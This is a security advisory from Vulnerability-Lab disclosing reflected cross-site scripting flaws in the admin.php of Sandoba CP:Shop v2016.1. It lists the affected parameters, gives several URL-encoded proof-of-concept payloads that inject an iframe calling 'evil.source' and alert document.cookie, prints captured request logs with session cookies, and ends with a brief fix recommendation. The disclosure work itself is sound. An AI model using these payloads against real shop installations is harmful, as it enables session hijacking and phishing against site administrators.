Sandoba CP:Shop CMS version 2016.1 suffers from multiple cross site scripting vulnerabilities.
7da291ebd7b85fde9e3c71ed6d906f6fDocument Title:
===============
Sandoba CP:Shop CMS v2016.1 - Multiple Cross Site Scripting Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2122
Release Date:
=============
2018-03-02
Vulnerability Laboratory ID (VL-ID):
====================================
2122
Common Vulnerability Scoring System:
====================================
3.4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500a! - 1.000a!
Product & Service Introduction:
===============================
CP:Shop is the basis for your lasting success on the Internet. The system was designed so that customers are optimally
supplied with information about articles, special promotions and discounts on the one hand, while the shop operator is
at the same time subjected to essential work steps through automation.
(Copy of the homepage: https://www.sandoba.de/produkte/shop-software-cpshop/)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site vulnerabilities in the official Sandoa CP:Shop v2016.1 CMS.
Vulnerability Disclosure Timeline:
==================================
2018-03-02: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A non-persistent cross site scripting vulnerabilities has been discovered in the official Sandoa CP:Shop v2016.1 Content Management System.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to
web-application requests.
The security vulnerability is located in the `admin.php` files of the `./cpshop/` module. Remote attackers are able to inject own script codes
to the client-side requested vulnerable web-application parameters. The attack vector of the vulnerability is non-persistent and the request
method to inject/execute is GET. The vulnerabilities are classic client-side cross site scripting vulnerability.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external
redirects to malicious source and non-persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] admin.php
Vulnerable Parameter(s):
[+] path
[+] search
[+] rename
[+] dir
Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=
%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news
http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&form[path]=.
http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=TEST&form[path]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search=
%22%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&select_box=2
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=
de%3E%22%3Ciframe%20src=evil.source%3E&form[path]=modules%2Ffast_gallery%2Flanguages
PoC: Session Logs
Status: 200[OK]
GET https://cpshop.localhost:8080admin.php?file=files&mode=rename_dir&form[dir]=fancybox&form[path]=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&cleanajax=yes
Mime Type[text/html]
Request Header:
Host[cpshop.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
X-Requested-With[XMLHttpRequest]
Referer[https://cpshop.localhost:8080admin.php]
Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes]
Connection[keep-alive]
Response Header:
server[Apache/2.4.27]
x-powered-by[PHP/7.0.20]
expires[Thu, 19 Nov 1981 08:52:00 GMT]
cache-control[no-store, no-cache, must-revalidate]
pragma[no-cache]
x-frame-options[SAMEORIGIN]
content-encoding[gzip]
set-cookie[language=de; expires=Tue, 20-Feb-2018 13:00:40 GMT; Max-Age=259200; path=/]
content-type[text/html; charset=utf-8]
X-Firefox-Spdy[h2]
-
Status: 302[Found]
GET https://cpshop.localhost:8080/evil.source
Mime Type[text/html]
Request Header:
Host[cpshop.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://cpshop.localhost:8080admin.php]
Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
server[Apache/2.4.27]
location[http://cpshop.localhost:8080]
content-length[296]
content-type[text/html; charset=iso-8859-1]
X-Firefox-Spdy[h2]
-
Status: pending[]
GET http://cpshop.localhost:8080/cpshop/admin.php?file=news&clean=yes&ajax=yes&form%5Bsearch%5D=
http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2B
onl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news
Mime Type[unknown]
Request Header:
Host[cpshop.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://cpshop.localhost:8080/cpshop/admin.php]
Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de]
DNT[1]
-
14:06:37.847[179ms][total 538ms] Status: 200[OK]
GET http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2Bonl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news
Mime Type[text/html]
Request Header:
Host[cpshop.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://cpshop.localhost:8080/cpshop/admin.php]
Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache/2.4.27]
X-Powered-By[PHP/7.0.20]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate]
Pragma[no-cache]
X-Frame-Options[SAMEORIGIN]
Content-Encoding[gzip]
Set-Cookie[language=de; expires=Tue, 20-Feb-2018 13:06:37 GMT; Max-Age=259200; path=/]
Upgrade[h2c]
Connection[Upgrade, Keep-Alive]
Keep-Alive[timeout=5, max=100]
Transfer-Encoding[chunked]
Content-Type[text/html; charset=utf-8]
Reference(s):
http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=
http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search=
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]=
http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=
Solution - Fix & Patch:
=======================
The cross site vulnerabilities can be resolved by implementation of htmlentities and a secure input restriction of characters.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the web-application are estimated as medium (cvss 3.4).
Credits & Authors:
==================
Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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